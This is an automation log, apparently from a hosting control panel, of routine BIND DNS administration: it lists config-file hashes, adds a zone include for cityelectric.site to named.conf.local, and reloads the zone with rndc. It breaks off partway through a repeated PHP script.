MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 769be2e18d950e2a2ab035f028cf0b3e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:19:24: Establishing a connection
2026-02-09 14:19:24: Establishing a connection
2026-02-09 14:19:25: 

PUT: /tmp/pkp908843

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:19:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp908843; rm /tmp/pkp908843'

2026-02-09 14:19:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 769be2e18d950e2a2ab035f028cf0b3e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:19:25: 

PUT: /tmp/pkp682298

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 14:19:25: 

chmod 755 /tmp/pkp682298; /tmp/pkp682298; rm /tmp/pkp682298

2026-02-09 14:19:28: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 14:19:28: 

PUT: /tmp/pkp769417

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 14:19:28: 

chmod 755 /tmp/pkp769417; /tmp/pkp769417; rm /tmp/pkp769417

2026-02-09 14:19:28: 


zone reload queued


2026-02-09 14:19:28: Establishing a connection
2026-02-09 14:19:29: 

PUT: /tmp/pkp671926

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
